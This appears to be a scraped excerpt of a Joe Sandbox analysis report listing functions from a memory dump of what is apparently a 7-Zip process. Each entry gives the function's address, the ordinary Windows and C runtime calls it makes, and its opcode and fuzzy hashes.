Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 2fb1bdadda0f0f67c2ab4cf383632212aedf00074fa5b7e75f5519585e2e69a4
Instruction ID: ac41777b7691c288b8bbc088dba339006cbfdf81102349f54caa87d2f9509ca5
Opcode Fuzzy Hash: 2fb1bdadda0f0f67c2ab4cf383632212aedf00074fa5b7e75f5519585e2e69a4
Instruction Fuzzy Hash: F1118A2120869092DA10EB25F5552AE9750EFD17F0F401361BBBE87AEADE18CD4BDB00

Function 00C2CF80 Relevance: 5.1, APIs: 4, Instructions: 57COMMON

Download Yara Rule

APIs

Part of subcall function 00C03404: free.MSVCRT ref: 00C03431
Part of subcall function 00C03404: memmove.MSVCRT ref: 00C0344C

free.MSVCRT ref: 00C2CFC9
_CxxThrowException.MSVCRT ref: 00C2CFE6
free.MSVCRT ref: 00C2D019
free.MSVCRT ref: 00C2D021

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free$ExceptionThrowmemmove
String ID:
API String ID: 3934437811-0
Opcode ID: 3a97ebef2fcd1cdc2599d13047a49bc923f0f8c10aefa58592d67d2e468ee3f2
Instruction ID: 7ddb94a75e3c1b270be2dcfadd7d472febd59b1d1b627e5b98a6b723f45f14ae
Opcode Fuzzy Hash: 3a97ebef2fcd1cdc2599d13047a49bc923f0f8c10aefa58592d67d2e468ee3f2
Instruction Fuzzy Hash: B7117F637007C08BDA209F25E99439EA710FB527A4F584215AFAA0B7E9DF68D54AC700

Function 00C201A8 Relevance: 5.0, APIs: 4, Instructions: 50COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C20211
free.MSVCRT ref: 00C2021C
free.MSVCRT ref: 00C20249
free.MSVCRT ref: 00C20254

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 2682a3d483ed8198c6bc67279e3496169ab0818a4c7350e9ba69b47f62e70939
Instruction ID: c81f4c82727300ac9b957213b6a78b996b3bb7397bd5d2ee36f3e21cbe21cc7c
Opcode Fuzzy Hash: 2682a3d483ed8198c6bc67279e3496169ab0818a4c7350e9ba69b47f62e70939
Instruction Fuzzy Hash: 4801DB72204650C1CD20EB22F95516E9721EBC67E4F541223BFAE57AE7CE28CA4AD700

Function 00C08CDC Relevance: 4.6, APIs: 3, Instructions: 75fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00C089D8: CloseHandle.KERNELBASE(?,?,?,?,?,?,?,?,FFFFFFFF,?,?,?,00000003,?,00000000,00000000), ref: 00C089EA

CreateFileW.KERNELBASE ref: 00C08D51
CreateFileW.KERNEL32 ref: 00C08DA4
free.MSVCRT ref: 00C08DB2

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: CreateFile$CloseHandlefree
String ID:
API String ID: 210839660-0
Opcode ID: 61d1414c3204940837fafab39737341ec41e4676ab64096d397cf1e7feeedc36
Instruction ID: 571eb6d60c6f0f196c468adb6bbb2b70edace7407ad22336498facabae8956c6
Opcode Fuzzy Hash: 61d1414c3204940837fafab39737341ec41e4676ab64096d397cf1e7feeedc36
Instruction Fuzzy Hash: 6A217F331047919ACB609F15A851A5E6724B39A7F4F544325EFF543BE4CF38C99ACB00

Function 00C42CFC Relevance: 4.6, APIs: 3, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 00C03274: memmove.MSVCRT ref: 00C032AC

fputs.MSVCRT ref: 00C42D41
fputs.MSVCRT ref: 00C42DCF
free.MSVCRT ref: 00C42DFF

Part of subcall function 00C02300: fputc.MSVCRT ref: 00C02311

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: fputs$fputcfreememmove
String ID:
API String ID: 1158454270-0
Opcode ID: eef8350ceeca3f9f5c16306e4864ccddccb6ae17d882d2c6956f16779c2a39dd
Instruction ID: 1023287c1cc1cb1bde6862add2111904daac39bf89fb595f0281ac5b5c0e6809
Opcode Fuzzy Hash: eef8350ceeca3f9f5c16306e4864ccddccb6ae17d882d2c6956f16779c2a39dd
Instruction Fuzzy Hash: 38218662610A0180CF34EF25E86636E6324FB95BE4F449221FA5F477A8DE3CC545D700

Function 00C0CE1C Relevance: 3.9, APIs: 3, Instructions: 178COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00C0CF85
memmove.MSVCRT ref: 00C0CFB7
GetLastError.KERNEL32 ref: 00C0D020

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: ErrorLast$memmove
String ID:
API String ID: 3796167841-0
Opcode ID: 13b8521f385784011c78b9d11a16baa524cd611e63a74d569e705e2f10fdf046
Instruction ID: 568ec64a98e1a6c8a4bbed9530590f0ca4b6bdcf55c3939b188e0fcf48eacedd
Opcode Fuzzy Hash: 13b8521f385784011c78b9d11a16baa524cd611e63a74d569e705e2f10fdf046
Instruction Fuzzy Hash: B4519132310B55A7DF258FAAD5807A923A1FB48798F140226DF1E87B90DB39D9A6D700

Function 00C02300 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

fputc.MSVCRT ref: 00C02311

Strings

Kernel , xrefs: 00C02300

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: fputc
String ID: Kernel
API String ID: 1992160199-1736990243
Opcode ID: 0587dab81f2bb3112332d7aab628a035a02b5f4d8aa9838a9d6f6812646a1732
Instruction ID: 77f93f7c2a2c9dbd06bfc2117c20ce3836c7a87fd7dd532febe1c8fd173770fb
Opcode Fuzzy Hash: 0587dab81f2bb3112332d7aab628a035a02b5f4d8aa9838a9d6f6812646a1732
Instruction Fuzzy Hash: 2DC09295B90A0C82FF181BBBE8957291222E75DFE1F186034CE1D0B3A0DA2CD4E78721

Function 00C4B1C8 Relevance: 3.1, APIs: 2, Instructions: 51COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00C4B20D
fputs.MSVCRT ref: 00C4B232

Part of subcall function 00C02B04: _CxxThrowException.MSVCRT ref: 00C02B2D
Part of subcall function 00C02B04: free.MSVCRT ref: 00C02B44

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: ExceptionThrowfputsfreememset
String ID:
API String ID: 3104931167-0
Opcode ID: 4ef15fd8aa1144054d3f8c1e688ea89a0331c1f98529cff2cb93b1434cf32894
Instruction ID: eaa561ad3ce4dab9f47a69d85ce6c8a0847f1b01d8ee3ca15f88ed6962e38fe0
Opcode Fuzzy Hash: 4ef15fd8aa1144054d3f8c1e688ea89a0331c1f98529cff2cb93b1434cf32894
Instruction Fuzzy Hash: E001ADA37006909BE715DF6AEA8475E6720F759B94F088022DF0807751DB74D8AAC310

Function 00C08A60 Relevance: 3.0, APIs: 2, Instructions: 37COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(?,?,00000003,?,00C08E1D), ref: 00C08A99
GetLastError.KERNEL32(?,?,00000003,?,00C08E1D), ref: 00C08AA6

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: cf0d94ecf42caac14694387020930a2bb5976bb2b97546524ee3b67299013e46
Instruction ID: 3a412368c845a05c151017d131340f9a235d89f6e89423dc8bf3567705308ca1
Opcode Fuzzy Hash: cf0d94ecf42caac14694387020930a2bb5976bb2b97546524ee3b67299013e46
Instruction Fuzzy Hash: A4F0FC62B017C0C3EF208B69D454B582351E759F98FAC8122CA5843FD1DF29C98BDB10

Function 00C40994 Relevance: 3.0, APIs: 2, Instructions: 27COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00C409D5

Part of subcall function 00C02300: fputc.MSVCRT ref: 00C02311

free.MSVCRT ref: 00C409E9

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: fputcfputsfree
String ID:
API String ID: 2822829076-0
Opcode ID: 54155317de61db0833888d5a21ec2303f9cbf572859454e8d3a2ab1476f005a9
Instruction ID: 051e3e8a92b3a064fe81c938d60042ed90b9a93164a05b3b984ac0b6e8ae55d0
Opcode Fuzzy Hash: 54155317de61db0833888d5a21ec2303f9cbf572859454e8d3a2ab1476f005a9
Instruction Fuzzy Hash: BFF01C63240A4481CA20EF25E95975EA320E789BF8F589321EF6D477F9DE38C986C740

Function 00C34035 Relevance: 2.6, APIs: 2, Instructions: 91COMMON

Download Yara Rule

APIs

memmove.MSVCRT ref: 00C3404D
memmove.MSVCRT ref: 00C34087

Part of subcall function 00C03404: free.MSVCRT ref: 00C03431
Part of subcall function 00C03404: memmove.MSVCRT ref: 00C0344C

Part of subcall function 00C02130: malloc.MSVCRT ref: 00C02134
Part of subcall function 00C02130: _CxxThrowException.MSVCRT ref: 00C0214F

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: memmove$ExceptionThrowfreemalloc
String ID:
API String ID: 1415420288-0
Opcode ID: 4e93dba3152148191410d57b00f48a4d72ec7dee8ca6e7e419d011094a693373
Instruction ID: a2debc943b6ff3258cce3f41fb39cd3e833419cdffaa060a69f813266611577e
Opcode Fuzzy Hash: 4e93dba3152148191410d57b00f48a4d72ec7dee8ca6e7e419d011094a693373
Instruction Fuzzy Hash: AD31C077319AC19ACA35EF55E1942EEBB20F391340F804022C79D87B6AEF38D659DB00

Function 00C34054 Relevance: 2.6, APIs: 2, Instructions: 61COMMON

Download Yara Rule

APIs

memmove.MSVCRT ref: 00C34065
memmove.MSVCRT ref: 00C34087

Part of subcall function 00C03404: free.MSVCRT ref: 00C03431
Part of subcall function 00C03404: memmove.MSVCRT ref: 00C0344C

Part of subcall function 00C02130: malloc.MSVCRT ref: 00C02134
Part of subcall function 00C02130: _CxxThrowException.MSVCRT ref: 00C0214F

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: memmove$ExceptionThrowfreemalloc
String ID:
API String ID: 1415420288-0
Opcode ID: f427dc0fd637152064e545b78de615cfab16b9f0d1a8ffe90308633dea3436e2
Instruction ID: bd07c9a50d781d27ff78cc2aec244e1821f41d9c9d0b4a55e6ef311bc7f35a67
Opcode Fuzzy Hash: f427dc0fd637152064e545b78de615cfab16b9f0d1a8ffe90308633dea3436e2
Instruction Fuzzy Hash: 6711B463325AC592CA35EB55F0D53AEA311F791390F804426CB9E47AA5DF3CD689DB00

Function 00C29A34 Relevance: 2.5, APIs: 2, Instructions: 41COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C29A84
free.MSVCRT ref: 00C29A95

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: e7d5ba1defadd3acd0d91b79684e099e0fccd2f3b59dc636ae55ac404bf7f5e6
Instruction ID: 5a96458afae43915196f3b11f74382d8aa3cfa0add799559007cdae859f72343
Opcode Fuzzy Hash: e7d5ba1defadd3acd0d91b79684e099e0fccd2f3b59dc636ae55ac404bf7f5e6
Instruction Fuzzy Hash: 0DF06D23302BA0C6DA20AA26E84016D6710EB86FB1F188321AF7917BD1CF34C957C300

Function 00C4C7D4 Relevance: 2.5, APIs: 2, Instructions: 40COMMON

Download Yara Rule

APIs

Part of subcall function 00C02130: malloc.MSVCRT ref: 00C02134
Part of subcall function 00C02130: _CxxThrowException.MSVCRT ref: 00C0214F

memmove.MSVCRT ref: 00C4C815
free.MSVCRT ref: 00C4C81D

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: ExceptionThrowfreemallocmemmove
String ID:
API String ID: 1097815484-0
Opcode ID: ff112bfad1453f99bb626e790325d578691dd91014c08a4cfe78a0c05c438efe
Instruction ID: 31d2f7ae4c6f222b2b7c763c3204760380b56b0147f61f510486517f1dd58861
Opcode Fuzzy Hash: ff112bfad1453f99bb626e790325d578691dd91014c08a4cfe78a0c05c438efe
Instruction Fuzzy Hash: 6001A477702698CBCB14DF26D4A156CB764E388F99B08C129DF054B398CE34DC86CB90

Function 00C40A1C Relevance: 2.5, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00C40A42
LeaveCriticalSection.KERNEL32 ref: 00C40A73

Part of subcall function 00C4B480: GetTickCount.KERNEL32 ref: 00C4B49E
Part of subcall function 00C4B480: strcmp.MSVCRT ref: 00C4B4E3
Part of subcall function 00C4B480: wcscmp.MSVCRT ref: 00C4B502
Part of subcall function 00C4B480: strcmp.MSVCRT ref: 00C4B568

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: CriticalSectionstrcmp$CountEnterLeaveTickwcscmp
String ID:
API String ID: 3267814326-0
Opcode ID: e88f57d7c7d95c69104a252a1c7d9368823166ee09aea818bbba8cc4799af9b9
Instruction ID: 6e999cf796d256b719c8e15ebf0d0f6d77362e13ac1708fdd0b7c8ce51f6b345
Opcode Fuzzy Hash: e88f57d7c7d95c69104a252a1c7d9368823166ee09aea818bbba8cc4799af9b9
Instruction Fuzzy Hash: 6CF05E66250A9082F7209B24E894BA96360F744BB5F144335DEBD476E4CF38898AC314

Function 00C02568 Relevance: 2.5, APIs: 2, Instructions: 26COMMON

Download Yara Rule

APIs

Part of subcall function 00C03274: memmove.MSVCRT ref: 00C032AC

free.MSVCRT ref: 00C025B5
free.MSVCRT ref: 00C025C0

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free$memmove
String ID:
API String ID: 1534225298-0
Opcode ID: 586c8cc20f275266bf889dc5ef0a5fac6cb60cf56a6a0da5214c7ba1b0ee869b
Instruction ID: 5e58cbb54a6457efae31bc2eafcc89ccac876546cc4678d09632dd043d3203a7
Opcode Fuzzy Hash: 586c8cc20f275266bf889dc5ef0a5fac6cb60cf56a6a0da5214c7ba1b0ee869b
Instruction Fuzzy Hash: 57E0307225864091CE20EB61E45505EA720EBC57F4B442312B6BF576F9DE28C786DB00

Function 00C02130 Relevance: 2.5, APIs: 2, Instructions: 11COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 00C02134
_CxxThrowException.MSVCRT ref: 00C0214F

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: ExceptionThrowmalloc
String ID:
API String ID: 2436765578-0
Opcode ID: fa6ff63fb0a4f718842d089b3478a2da5176663da7f3a9e4140987a861a74cca
Instruction ID: 79ab2247e5945cf143858da02be636da39d13302492461ad75a0053ec7cdb75c
Opcode Fuzzy Hash: fa6ff63fb0a4f718842d089b3478a2da5176663da7f3a9e4140987a861a74cca
Instruction Fuzzy Hash: 27D08051B177C4D1EF08AB5498D57185720B798740FD06055F25F01735DE5CC18FCB01

Function 00C1251C Relevance: 1.6, APIs: 1, Instructions: 132COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2cd451c15515d27b5fb79faae5e116a06c4e7ed636842f570073d620974bbfb5
Instruction ID: 4500f3c70c484b05b1a37836f1d7737d439949d67e2c0bcbe7b508bf953e1672
Opcode Fuzzy Hash: 2cd451c15515d27b5fb79faae5e116a06c4e7ed636842f570073d620974bbfb5
Instruction Fuzzy Hash: 12515976244AC0D6DB22CF25C4406EE2B61F38AF88F694136DEAA0A758DF34C9D1E710

Function 00C286E0 Relevance: 1.5, APIs: 1, Instructions: 49COMMON

Download Yara Rule

APIs

SysStringByteLen.OLEAUT32 ref: 00C28744

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: ByteString
String ID:
API String ID: 4236320881-0
Opcode ID: 1f64ae9d3ddb337fcfe08435523e691609cde8a8f740f1935bab7fcecbb63b66
Instruction ID: 7adec24ba7b0eb1ae0404b9f676de0ef54db6a9706fd460adc62c177a4dc269d
Opcode Fuzzy Hash: 1f64ae9d3ddb337fcfe08435523e691609cde8a8f740f1935bab7fcecbb63b66
Instruction Fuzzy Hash: FC11E91660879182E7208B15F4407696360E784BE0F648320FFEA57BE5EF3CCD89C704

Function 00C08C98 Relevance: 1.5, APIs: 1, Instructions: 25fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00C08A60: SetFilePointer.KERNELBASE(?,?,00000003,?,00C08E1D), ref: 00C08A99
Part of subcall function 00C08A60: GetLastError.KERNEL32(?,?,00000003,?,00C08E1D), ref: 00C08AA6

SetEndOfFile.KERNELBASE ref: 00C08CC7

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: File$ErrorLastPointer
String ID:
API String ID: 841452515-0
Opcode ID: c90e265412cd84312492c39e5ed9ff3a683aba44eb41e009ab2a5a4b09f96c43
Instruction ID: 53225b6876e53bdcb32aaceebacc1630f9c9eab7cf7d9c23f1baff2d09732d2d
Opcode Fuzzy Hash: c90e265412cd84312492c39e5ed9ff3a683aba44eb41e009ab2a5a4b09f96c43
Instruction Fuzzy Hash: DCE08612301994D7F7209BA5A59166E8324BB457E0F48D031EAD543BC89E658DDED710

Function 00C064D4 Relevance: 1.5, APIs: 1, Instructions: 22libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00C06464: FreeLibrary.KERNELBASE(?,?,?,00C064E7), ref: 00C06475

LoadLibraryExW.KERNELBASE ref: 00C064F4

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

